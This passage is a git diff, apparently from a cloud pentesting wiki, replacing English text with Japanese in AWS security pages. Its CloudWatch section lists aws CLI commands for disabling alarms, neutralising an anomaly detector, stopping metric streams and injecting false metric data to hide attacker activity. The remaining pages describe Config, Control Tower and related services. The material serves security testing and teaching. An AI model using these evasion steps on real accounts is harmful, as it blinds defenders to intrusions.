10, - "Statistic": "Average", - "Threshold": 99, - "AlarmDescription": "CPU Utilization of i-01234567890123456 with 60% as threshold", - "AlarmName": "Instance i-0645d6d414dadf9f8 CPU Utilization" +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-0645d6d414dadf9f8" +} +], +"AlarmActions": [], +"ComparisonOperator": "GreaterThanThreshold", +"DatapointsToAlarm": 8640, +"EvaluationPeriods": 8640, +"Period": 10, +"Statistic": "Average", +"Threshold": 99, +"AlarmDescription": "CPU Utilization of i-01234567890123456 with 60% as threshold", +"AlarmName": "Instance i-0645d6d414dadf9f8 CPU Utilization" } ``` - {{#endtab }} {{#endtabs }} -**Potential Impact**: Lack of notifications for critical events, potential undetected issues, false alerts, suppress genuine alerts and potentially missed detections of real incidents. +**潜在的な影響**: 重要なイベントに対する通知の欠如、潜在的な未検出の問題、誤警報、正当な警報の抑制、そして実際のインシデントの検出を見逃す可能性。 ### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`** -By deleting alarm actions, the attacker could prevent critical alerts and automated responses from being triggered when an alarm state is reached, such as notifying administrators or triggering auto-scaling activities. Enabling or re-enabling alarm actions inappropriately could also lead to unexpected behaviors, either by reactivating previously disabled actions or by modifying which actions are triggered, potentially causing confusion and misdirection in incident response. +アラームアクションを削除することで、攻撃者はアラーム状態に達したときに管理者への通知や自動スケーリング活動のトリガーなど、重要な警告や自動応答が発動するのを防ぐことができます。不適切にアラームアクションを有効化または再有効化することも、以前に無効化されたアクションを再活性化したり、どのアクションがトリガーされるかを変更したりすることで、予期しない動作を引き起こし、インシデント対応に混乱や誤解を招く可能性があります。 -In addition, an attacker with the permission could manipulate alarm states, being able to create false alarms to distract and confuse administrators, or silence genuine alarms to hide ongoing malicious activities or critical system failures. - -- If you use **`SetAlarmState`** on a composite alarm, the composite alarm is not guaranteed to return to its actual state. It returns to its actual state only once any of its children alarms change state. It is also reevaluated if you update its configuration. +さらに、権限を持つ攻撃者はアラーム状態を操作し、管理者を気を散らせたり混乱させたりするために偽のアラームを作成したり、進行中の悪意のある活動や重大なシステム障害を隠すために正当なアラームを無効にしたりすることができます。 +- **`SetAlarmState`** をコンポジットアラームで使用すると、コンポジットアラームが実際の状態に戻ることは保証されません。子アラームのいずれかが状態を変更したときにのみ、実際の状態に戻ります。また、設定を更新すると再評価されます。 ```bash aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names aws cloudwatch set-alarm-state --alarm-name --state-value --state-reason [--state-reason-data ] ``` - -**Potential Impact**: Lack of notifications for critical events, potential undetected issues, false alerts, suppress genuine alerts and potentially missed detections of real incidents. +**潜在的な影響**: 重要なイベントに対する通知の欠如、潜在的な未検出の問題、偽のアラート、正当なアラートの抑制、そして実際のインシデントの検出を見逃す可能性。 ### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`** -An attacker would be able to compromise the ability of detection and respond to unusual patterns or anomalies in metric data. By deleting existing anomaly detectors, an attacker could disable critical alerting mechanisms; and by creating or modifying them, it would be able either to misconfigure or create false positives in order to distract or overwhelm the monitoring. - +攻撃者は、メトリックデータの異常パターンや異常を検出し、応答する能力を妨害することができる。既存の異常検出器を削除することで、攻撃者は重要なアラート機構を無効にでき、作成または変更することで、監視を混乱させたり圧倒させたりするために誤設定や偽のポジティブを作成することができる。 ```bash aws cloudwatch delete-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] ``` - -The following example shows how to make a metric anomaly detector ineffective. This metric anomaly detector monitors the average CPU utilization of a specific EC2 instance, and just by adding the “ExcludedTimeRanges” parameter with the desired time range, it would be enough to ensure that the anomaly detector does not analyze or alert on any relevant data during that period. +以下の例は、メトリック異常検出器を無効にする方法を示しています。このメトリック異常検出器は、特定のEC2インスタンスの平均CPU使用率を監視しており、単に「ExcludedTimeRanges」パラメータを希望の時間範囲で追加するだけで、その期間中に異常検出器が関連データを分析または警告しないことを保証するのに十分です。 {{#tabs }} {{#tab name="Original Metric Anomaly Detector" }} - ```json { - "SingleMetricAnomalyDetector": { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Stat": "Average", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-0123456789abcdefg" - } - ] - } +"SingleMetricAnomalyDetector": { +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Stat": "Average", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-0123456789abcdefg" +} +] +} } ``` - {{#endtab }} -{{#tab name="Modified Metric Anomaly Detector" }} - +{{#tab name="修正されたメトリック異常検出器" }} ```json { - "SingleMetricAnomalyDetector": { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Stat": "Average", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-0123456789abcdefg" - } - ] - }, - "Configuration": { - "ExcludedTimeRanges": [ - { - "StartTime": "2023-01-01T00:00:00Z", - "EndTime": "2053-01-01T23:59:59Z" - } - ], - "Timezone": "Europe/Madrid" - } +"SingleMetricAnomalyDetector": { +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Stat": "Average", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-0123456789abcdefg" +} +] +}, +"Configuration": { +"ExcludedTimeRanges": [ +{ +"StartTime": "2023-01-01T00:00:00Z", +"EndTime": "2053-01-01T23:59:59Z" +} +], +"Timezone": "Europe/Madrid" +} } ``` - {{#endtab }} {{#endtabs }} -**Potential Impact**: Direct effect in the detection of unusual patterns or security threats. +**潜在的な影響**: 異常なパターンやセキュリティ脅威の検出に直接的な影響があります。 ### **`cloudwatch:DeleteDashboards`, `cloudwatch:PutDashboard`** -An attacker would be able to compromise the monitoring and visualization capabilities of an organization by creating, modifying or deleting its dashboards. This permissions could be leveraged to remove critical visibility into the performance and health of systems, alter dashboards to display incorrect data or hide malicious activities. - +攻撃者は、ダッシュボードを作成、変更、または削除することによって、組織の監視および視覚化機能を妨害することができます。この権限は、システムのパフォーマンスと健康に関する重要な可視性を削除したり、ダッシュボードを変更して不正確なデータを表示させたり、悪意のある活動を隠すために利用される可能性があります。 ```bash aws cloudwatch delete-dashboards --dashboard-names aws cloudwatch put-dashboard --dashboard-name --dashboard-body ``` - -**Potential Impact**: Loss of monitoring visibility and misleading information. +**潜在的な影響**: 監視の可視性の喪失と誤解を招く情報。 ### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`** -Insight rules are used to detect anomalies, optimize performance, and manage resources effectively. By deleting existing insight rules, an attacker could remove critical monitoring capabilities, leaving the system blind to performance issues and security threats. Additionally, an attacker could create or modify insight rules to generate misleading data or hide malicious activities, leading to incorrect diagnostics and inappropriate responses from the operations team. - +インサイトルールは、異常を検出し、パフォーマンスを最適化し、リソースを効果的に管理するために使用されます。既存のインサイトルールを削除することで、攻撃者は重要な監視機能を取り除き、システムをパフォーマンスの問題やセキュリティの脅威に対して盲目にする可能性があります。さらに、攻撃者はインサイトルールを作成または変更して誤解を招くデータを生成したり、悪意のある活動を隠したりすることができ、診断の誤りや運用チームからの不適切な対応を引き起こす可能性があります。 ```bash aws cloudwatch delete-insight-rules --rule-names aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ] aws cloudwatch put-managed-insight-rules --managed-rules ``` - -**Potential Impact**: Difficulty to detect and respond to performance issues and anomalies, misinformed decision-making and potentially hiding malicious activities or system failures. +**潜在的影響**: パフォーマンスの問題や異常を検出し対応するのが難しくなり、誤った意思決定を引き起こし、悪意のある活動やシステムの障害を隠す可能性があります。 ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`** -By disabling critical insight rules, an attacker could effectively blind the organization to key performance and security metrics. Conversely, by enabling or configuring misleading rules, it could be possible to generate false data, create noise, or hide malicious activity. - +重要なインサイトルールを無効にすることで、攻撃者は組織を主要なパフォーマンスおよびセキュリティメトリクスから効果的に盲目にすることができます。逆に、誤解を招くルールを有効にしたり構成したりすることで、偽のデータを生成したり、ノイズを作成したり、悪意のある活動を隠すことが可能になるかもしれません。 ```bash aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names ``` - -**Potential Impact**: Confusion among the operations team, leading to delayed responses to actual issues and unnecessary actions based on false alerts. +**潜在的な影響**: オペレーションチームの混乱を引き起こし、実際の問題への対応が遅れ、誤ったアラートに基づく不必要な行動を引き起こす。 ### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`** -An attacker with the **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** permissions would be able to create and delete metric data streams, compromising the security, monitoring and data integrity: +**`cloudwatch:DeleteMetricStream`** 、**`cloudwatch:PutMetricStream`** の権限を持つ攻撃者は、メトリックデータストリームを作成および削除でき、セキュリティ、監視、データの整合性が損なわれる可能性があります： -- **Create malicious streams**: Create metric streams to send sensitive data to unauthorized destinations. -- **Resource manipulation**: The creation of new metric streams with excessive data could produce a lot of noise, causing incorrect alerts, masking true issues. -- **Monitoring disruption**: Deleting metric streams, attackers would disrupt the continuos flow of monitoring data. This way, their malicious activities would be effectively hidden. - -Similarly, with the **`cloudwatch:PutMetricData`** permission, it would be possible to add data to a metric stream. This could lead to a DoS because of the amount of improper data added, making it completely useless. +- **悪意のあるストリームの作成**: 機密データを不正な宛先に送信するメトリックストリームを作成する。 +- **リソースの操作**: 過剰なデータを持つ新しいメトリックストリームの作成は、多くのノイズを生み出し、誤ったアラートを引き起こし、真の問題を隠す可能性があります。 +- **監視の中断**: メトリックストリームを削除することで、攻撃者は監視データの継続的な流れを妨害します。このようにして、彼らの悪意のある活動は効果的に隠されます。 +同様に、**`cloudwatch:PutMetricData`** の権限を持つことで、メトリックストリームにデータを追加することが可能になります。これにより、不適切なデータの量が原因でDoSが発生し、完全に無用になる可能性があります。 ```bash aws cloudwatch delete-metric-stream --name aws cloudwatch put-metric-stream --name [--include-filters ] [--exclude-filters ] --firehose-arn --role-arn --output-format aws cloudwatch put-metric-data --namespace [--metric-data ] [--metric-name ] [--timestamp ] [--unit ] [--value ] [--dimensions ] ``` - -Example of adding data corresponding to a 70% of a CPU utilization over a given EC2 instance: - +EC2インスタンスにおけるCPU使用率の70%に対応するデータを追加する例: ```bash aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg" ``` - -**Potential Impact**: Disruption in the flow of monitoring data, impacting the detection of anomalies and incidents, resource manipulation and costs increasing due to the creation of excessive metric streams. +**潜在的な影響**: 監視データの流れが中断され、異常やインシデントの検出に影響を与え、リソースの操作や過剰なメトリックストリームの作成によるコストの増加が発生する可能性があります。 ### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`** -An attacker would control the flow of the affected metric data streams (every data stream if there is no resource restriction). With the permission **`cloudwatch:StopMetricStreams`**, attackers could hide their malicious activities by stopping critical metric streams. - +攻撃者は、影響を受けたメトリックデータストリームの流れを制御します（リソース制限がない場合はすべてのデータストリーム）。権限 **`cloudwatch:StopMetricStreams`** を使用することで、攻撃者は重要なメトリックストリームを停止させることにより、自らの悪意のある活動を隠すことができます。 ```bash aws cloudwatch stop-metric-streams --names aws cloudwatch start-metric-streams --names ``` - -**Potential Impact**: Disruption in the flow of monitoring data, impacting the detection of anomalies and incidents. +**潜在的な影響**: 監視データの流れの中断が発生し、異常やインシデントの検出に影響を与える。 ### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`** -An attacker would be able to add, modify, or remove tags from CloudWatch resources (currently only alarms and Contributor Insights rules). This could disrupting your organization's access control policies based on tags. - +攻撃者はCloudWatchリソース（現在はアラームとContributor Insightsルールのみ）からタグを追加、変更、または削除することができます。これにより、タグに基づく組織のアクセス制御ポリシーが中断される可能性があります。 ```bash aws cloudwatch tag-resource --resource-arn --tags aws cloudwatch untag-resource --resource-arn --tag-keys ``` +**潜在的影響**: タグベースのアクセス制御ポリシーの中断。 -**Potential Impact**: Disruption of tag-based access control policies. - -## References +## 参考文献 - [https://cloudsecdocs.com/aws/services/logging/cloudwatch/](https://cloudsecdocs.com/aws/services/logging/cloudwatch/#general-info) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncloudwatch.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncloudwatch.html) - [https://docs.aws.amazon.com/es_es/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html#Metric](https://docs.aws.amazon.com/es_es/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html#Metric) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md index f2ab3c4c5..703fbc7ba 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md @@ -4,47 +4,43 @@ ## AWS Config -AWS Config **capture resource changes**, so any change to a resource supported by Config can be recorded, which will **record what changed along with other useful metadata, all held within a file known as a configuration item**, a CI. This service is **region specific**. +AWS Config **はリソースの変更をキャプチャします**。したがって、Configによってサポートされているリソースに対する変更はすべて記録され、**何が変更されたかと他の有用なメタデータが記録され、すべては構成アイテムとして知られるファイルに保持されます**。このサービスは**リージョン固有**です。 -A configuration item or **CI** as it's known, is a key component of AWS Config. It is comprised of a JSON file that **holds the configuration information, relationship information and other metadata as a point-in-time snapshot view of a supported resource**. All the information that AWS Config can record for a resource is captured within the CI. A CI is created **every time** a supported resource has a change made to its configuration in any way. In addition to recording the details of the affected resource, AWS Config will also record CIs for any directly related resources to ensure the change did not affect those resources too. +構成アイテム、または**CI**として知られるものは、AWS Configの重要なコンポーネントです。これは、**構成情報、関係情報、およびサポートされているリソースの時点スナップショットビューとしての他のメタデータを保持するJSONファイルで構成されています**。AWS Configがリソースのために記録できるすべての情報はCI内にキャプチャされます。CIは、**サポートされているリソースの構成に変更が加えられるたびに**作成されます。影響を受けたリソースの詳細を記録するだけでなく、AWS Configは、変更が他のリソースにも影響を与えなかったことを確認するために、直接関連するリソースのCIも記録します。 -- **Metadata**: Contains details about the configuration item itself. A version ID and a configuration ID, which uniquely identifies the CI. Ither information can include a MD5Hash that allows you to compare other CIs already recorded against the same resource. -- **Attributes**: This holds common **attribute information against the actual resource**. Within this section, we also have a unique resource ID, and any key value tags that are associated to the resource. The resource type is also listed. For example, if this was a CI for an EC2 instance, the resource types listed could be the network interface, or the elastic IP address for that EC2 instance -- **Relationships**: This holds information for any connected **relationship that the resource may have**. So within this section, it would show a clear description of any relationship to other resources that this resource had. For example, if the CI was for an EC2 instance, the relationship section may show the connection to a VPC along with the subnet that the EC2 instance resides in. -- **Current configuration:** This will display the same information that would be generated if you were to perform a describe or list API call made by the AWS CLI. AWS Config uses the same API calls to get the same information. -- **Related events**: This relates to AWS CloudTrail. This will display the **AWS CloudTrail event ID that is related to the change that triggered the creation of this CI**. There is a new CI made for every change made against a resource. As a result, different CloudTrail event IDs will be created. +- **メタデータ**: 構成アイテム自体に関する詳細を含みます。バージョンIDと構成IDがあり、これによりCIを一意に識別します。他の情報には、同じリソースに対して既に記録された他のCIと比較するためのMD5Hashが含まれる場合があります。 +- **属性**: 実際のリソースに対する一般的な**属性情報を保持します**。このセクション内には、一意のリソースIDとリソースに関連付けられた任意のキー値タグもあります。リソースタイプもリストされています。たとえば、これがEC2インスタンスのCIであれば、リストされるリソースタイプは、そのEC2インスタンスのネットワークインターフェースやエラスティックIPアドレスである可能性があります。 +- **関係**: リソースが持つ可能性のある接続された**関係に関する情報を保持します**。このセクション内では、このリソースが持つ他のリソースとの関係の明確な説明が表示されます。たとえば、CIがEC2インスタンスのものであれば、関係セクションには、EC2インスタンスが存在するサブネットとともにVPCへの接続が表示されるかもしれません。 +- **現在の構成**: これは、AWS CLIによって行われたdescribeまたはlist API呼び出しを実行した場合に生成されるのと同じ情報を表示します。AWS Configは、同じ情報を取得するために同じAPI呼び出しを使用します。 +- **関連イベント**: これはAWS CloudTrailに関連しています。これは、**このCIの作成を引き起こした変更に関連するAWS CloudTrailイベントIDを表示します**。リソースに対して行われた変更ごとに新しいCIが作成されます。その結果、異なるCloudTrailイベントIDが作成されます。 -**Configuration History**: It's possible to obtain the configuration history of resources thanks to the configurations items. A configuration history is delivered every 6 hours and contains all CI's for a particular resource type. +**構成履歴**: 構成アイテムのおかげで、リソースの構成履歴を取得することが可能です。構成履歴は6時間ごとに配信され、特定のリソースタイプのすべてのCIが含まれます。 -**Configuration Streams**: Configuration items are sent to an SNS Topic to enable analysis of the data. +**構成ストリーム**: 構成アイテムは、データの分析を可能にするためにSNSトピックに送信されます。 -**Configuration Snapshots**: Configuration items are used to create a point in time snapshot of all supported resources. +**構成スナップショット**: 構成アイテムは、すべてのサポートされているリソースの時点スナップショットを作成するために使用されます。 -**S3 is used to store** the Configuration History files and any Configuration snapshots of your data within a single bucket, which is defined within the Configuration recorder. If you have multiple AWS accounts you may want to aggregate your configuration history files into the same S3 bucket for your primary account. However, you'll need to grant write access for this service principle, config.amazonaws.com, and your secondary accounts with write access to the S3 bucket in your primary account. +**S3は**構成履歴ファイルとデータの構成スナップショットを単一のバケット内に保存するために使用され、これは構成レコーダー内で定義されます。複数のAWSアカウントがある場合、主要アカウントの同じS3バケットに構成履歴ファイルを集約したい場合があります。ただし、このサービスプリンシパルconfig.amazonaws.comと、主要アカウントのS3バケットへの書き込みアクセスを持つ二次アカウントに書き込みアクセスを付与する必要があります。 -### Functioning +### 機能 -- When make changes, for example to security group or bucket access control list —> fire off as an Event picked up by AWS Config -- Stores everything in S3 bucket -- Depending on the setup, as soon as something changes it could trigger a lambda function OR schedule lambda function to periodically look through the AWS Config settings -- Lambda feeds back to Config -- If rule has been broken, Config fires up an SNS +- 変更を加えると、たとえばセキュリティグループやバケットアクセス制御リストに対して —> AWS Configによって取得されるイベントとして発火します +- すべてをS3バケットに保存します +- 設定によっては、何かが変更されるとすぐにラムダ関数をトリガーするか、定期的にAWS Config設定を確認するためにラムダ関数をスケジュールすることができます +- ラムダはConfigにフィードバックします +- ルールが破られた場合、ConfigはSNSを発火させます ![](<../../../../images/image (126).png>) -### Config Rules +### Configルール -Config rules are a great way to help you **enforce specific compliance checks** **and controls across your resources**, and allows you to adopt an ideal deployment specification for each of your resource types. Each rule **is essentially a lambda function** that when called upon evaluates the resource and carries out some simple logic to determine the compliance result with the rule. **Each time a change is made** to one of your supported resources, **AWS Config will check the compliance against any config rules that you have in place**.\ -AWS have a number of **predefined rules** that fall under the security umbrella that are ready to use. For example, Rds-storage-encrypted. This checks whether storage encryption is activated by your RDS database instances. Encrypted-volumes. This checks to see if any EBS volumes that have an attached state are encrypted. +Configルールは、**リソース全体で特定のコンプライアンスチェック** **およびコントロールを強制するのに役立つ素晴らしい方法であり、各リソースタイプに対して理想的なデプロイメント仕様を採用することを可能にします**。各ルールは、**本質的にラムダ関数であり**、呼び出されるとリソースを評価し、ルールに対するコンプライアンス結果を決定するための簡単なロジックを実行します。**サポートされているリソースの1つに変更が加えられるたびに、**AWS Configは、あなたが設定した任意のConfigルールに対してコンプライアンスをチェックします。\ +AWSには、すぐに使用できるセキュリティの傘下にある**事前定義されたルール**がいくつかあります。たとえば、Rds-storage-encrypted。これは、RDSデータベースインスタンスによってストレージ暗号化が有効になっているかどうかをチェックします。Encrypted-volumes。これは、接続状態のEBSボリュームが暗号化されているかどうかを確認します。 -- **AWS Managed rules**: Set of predefined rules that cover a lot of best practices, so it's always worth browsing these rules first before setting up your own as there is a chance that the rule may already exist. -- **Custom rules**: You can create your own rules to check specific customconfigurations. +- **AWS管理ルール**: 多くのベストプラクティスをカバーする事前定義されたルールのセットであり、独自のルールを設定する前にこれらのルールを確認する価値があります。ルールがすでに存在する可能性があります。 +- **カスタムルール**: 特定のカスタム構成をチェックするために独自のルールを作成できます。 -Limit of 50 config rules per region before you need to contact AWS for an increase.\ -Non compliant results are NOT deleted. +リージョンごとに50のConfigルールの制限があり、増加が必要な場合はAWSに連絡する必要があります。\ +非準拠の結果は削除されません。 {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md index 9fab39fb8..31c4f77e8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md @@ -5,42 +5,36 @@ ## Control Tower > [!NOTE] -> In summary, Control Tower is a service that allows to define policies for all your accounts inside your org. So instead of managing each of the you can set policies from Control Tower that will be applied on them. +> 要約すると、Control Towerは、組織内のすべてのアカウントに対してポリシーを定義できるサービスです。したがって、各アカウントを管理する代わりに、Control Towerからポリシーを設定し、それが適用されるようにできます。 -AWS Control Tower is a **service provided by Amazon Web Services (AWS)** that enables organizations to set up and govern a secure, compliant, multi-account environment in AWS. +AWS Control Towerは、**Amazon Web Services (AWS)**によって提供されるサービスで、組織がAWS内で安全でコンプライアンスに準拠したマルチアカウント環境を設定および管理できるようにします。 -AWS Control Tower provides a **pre-defined set of best-practice blueprints** that can be customized to meet specific **organizational requirements**. These blueprints include pre-configured AWS services and features, such as AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail, and AWS Service Catalog. +AWS Control Towerは、特定の**組織要件**を満たすためにカスタマイズ可能な**ベストプラクティスの青写真の事前定義セット**を提供します。これらの青写真には、AWS Single Sign-On (SSO)、AWS Config、AWS CloudTrail、AWS Service Catalogなどの事前構成されたAWSサービスと機能が含まれています。 -With AWS Control Tower, administrators can quickly set up a **multi-account environment that meets organizational requirements**, such as **security** and compliance. The service provides a central dashboard to view and manage accounts and resources, and it also automates the provisioning of accounts, services, and policies. +AWS Control Towerを使用すると、管理者は**セキュリティ**やコンプライアンスなどの組織要件を満たす**マルチアカウント環境**を迅速に設定できます。このサービスは、アカウントやリソースを表示および管理するための中央ダッシュボードを提供し、アカウント、サービス、およびポリシーのプロビジョニングを自動化します。 -In addition, AWS Control Tower provides guardrails, which are a set of pre-configured policies that ensure the environment remains compliant with organizational requirements. These policies can be customized to meet specific needs. +さらに、AWS Control Towerは、組織要件に準拠した環境を維持するための事前構成されたポリシーのセットであるガードレールを提供します。これらのポリシーは、特定のニーズに合わせてカスタマイズできます。 -Overall, AWS Control Tower simplifies the process of setting up and managing a secure, compliant, multi-account environment in AWS, making it easier for organizations to focus on their core business objectives. +全体として、AWS Control Towerは、AWS内で安全でコンプライアンスに準拠したマルチアカウント環境の設定と管理のプロセスを簡素化し、組織がコアビジネスの目標に集中できるようにします。 ### Enumeration -For enumerating controltower controls, you first need to **have enumerated the org**: +Control Towerのコントロールを列挙するには、まず**組織を列挙する必要があります**： {{#ref}} ../aws-organizations-enum.md {{#endref}} - ```bash # Get controls applied in an account aws controltower list-enabled-controls --target-identifier arn:aws:organizations:::ou/ ``` - > [!WARNING] -> Control Tower can also use **Account factory** to execute **CloudFormation templates** in **accounts and run services** (privesc, post-exploitation...) in those accounts +> Control Towerは、**Account factory**を使用して、**アカウント内でCloudFormationテンプレートを実行し、サービスを実行する**こともできます（権限昇格、ポストエクスプロイテーション...） -### Post Exploitation & Persistence +### ポストエクスプロイテーションと持続性 {{#ref}} ../../aws-post-exploitation/aws-control-tower-post-exploitation.md {{#endref}} {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md index 2f967331b..71bb644e4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md @@ -2,18 +2,14 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Cost Explorer and Anomaly detection +## コストエクスプローラーと異常検出 -This allows you to check **how are you expending money in AWS services** and help you **detecting anomalies**.\ -Moreover, you can configure an anomaly detection so AWS will warn you when some a**nomaly in costs is found**. +これにより、**AWSサービスにおける支出状況を確認**し、**異常を検出する**のに役立ちます。\ +さらに、異常検出を設定することで、AWSが**コストに異常が見つかったときに警告**してくれます。 -### Budgets +### 予算 -Budgets help to **manage costs and usage**. You can get **alerted when a threshold is reached**.\ -Also, they can be used for non cost related monitoring like the usage of a service (how many GB are used in a particular S3 bucket?). +予算は**コストと使用状況を管理**するのに役立ちます。**閾値に達したときにアラートを受け取る**ことができます。\ +また、特定のS3バケットで使用されているGB数など、コストに関連しない監視にも使用できます。 {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md index 9d1a40eba..b56c91979 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md @@ -4,9 +4,9 @@ ## Detective -**Amazon Detective** streamlines the security investigation process, making it more efficient to **analyze, investigate, and pinpoint the root cause** of security issues or unusual activities. It automates the collection of log data from AWS resources and employs **machine learning, statistical analysis, and graph theory** to construct an interconnected data set. This setup greatly enhances the speed and effectiveness of security investigations. +**Amazon Detective**は、セキュリティ調査プロセスを効率化し、**セキュリティ問題や異常な活動の原因を分析、調査、特定する**ことを容易にします。AWSリソースからのログデータの収集を自動化し、**機械学習、統計分析、グラフ理論**を用いて相互接続されたデータセットを構築します。この設定により、セキュリティ調査の速度と効果が大幅に向上します。 -The service eases in-depth exploration of security incidents, allowing security teams to swiftly understand and address the underlying causes of issues. Amazon Detective analyzes vast amounts of data from sources like VPC Flow Logs, AWS CloudTrail, and Amazon GuardDuty. It automatically generates a **comprehensive, interactive view of resources, users, and their interactions over time**. This integrated perspective provides all necessary details and context in one location, enabling teams to discern the reasons behind security findings, examine pertinent historical activities, and rapidly determine the root cause. +このサービスは、セキュリティインシデントの詳細な探索を容易にし、セキュリティチームが問題の根本原因を迅速に理解し対処できるようにします。Amazon Detectiveは、VPCフローログ、AWS CloudTrail、Amazon GuardDutyなどのソースから膨大なデータを分析します。自動的に**リソース、ユーザー、およびその相互作用の包括的でインタラクティブなビューを生成します**。この統合された視点は、セキュリティの発見の背後にある理由を識別し、関連する過去の活動を調査し、迅速に根本原因を特定するために必要なすべての詳細とコンテキストを1か所で提供します。 ## References @@ -14,7 +14,3 @@ The service eases in-depth exploration of security incidents, allowing security - [https://cloudsecdocs.com/aws/services/logging/other/#detective](https://cloudsecdocs.com/aws/services/logging/other/#detective) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md index 0369f075c..dea44055b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md @@ -4,80 +4,79 @@ ## Firewall Manager -**AWS Firewall Manager** streamlines the management and maintenance of **AWS WAF, AWS Shield Advanced, Amazon VPC security groups and Network Access Control Lists (ACLs), and AWS Network Firewall, AWS Route 53 Resolver DNS Firewall and third-party firewalls** across multiple accounts and resources. It enables you to configure your firewall rules, Shield Advanced protections, VPC security groups, and Network Firewall settings just once, with the service **automatically enforcing these rules and protections across your accounts and resources**, including newly added ones. +**AWS Firewall Manager** は、**AWS WAF、AWS Shield Advanced、Amazon VPC セキュリティグループおよびネットワークアクセス制御リスト (ACL)、AWS Network Firewall、AWS Route 53 Resolver DNS Firewall、サードパーティファイアウォール** の管理と保守を簡素化します。これにより、ファイアウォールルール、Shield Advanced 保護、VPC セキュリティグループ、および Network Firewall 設定を一度だけ構成でき、サービスが**これらのルールと保護をアカウントやリソース全体に自動的に適用**します。新しく追加されたリソースも含まれます。 -The service offers the capability to **group and safeguard specific resources together**, like those sharing a common tag or all your CloudFront distributions. A significant advantage of Firewall Manager is its ability to **automatically extend protection to newly added resources** in your account. +このサービスは、**特定のリソースをグループ化して保護する**機能を提供します。たとえば、共通のタグを共有するリソースや、すべての CloudFront ディストリビューションなどです。Firewall Manager の大きな利点は、**新しく追加されたリソースに自動的に保護を拡張できる**ことです。 -A **rule group** (a collection of WAF rules) can be incorporated into an AWS Firewall Manager Policy, which is then linked to specific AWS resources such as CloudFront distributions or application load balancers. +**ルールグループ**（WAF ルールのコレクション）は、AWS Firewall Manager ポリシーに組み込むことができ、特定の AWS リソース（CloudFront ディストリビューションやアプリケーションロードバランサーなど）にリンクされます。 -AWS Firewall Manager provides **managed application and protocol lists** to simplify the configuration and management of security group policies. These lists allow you to define the protocols and applications permitted or denied by your policies. There are two types of managed lists: +AWS Firewall Manager 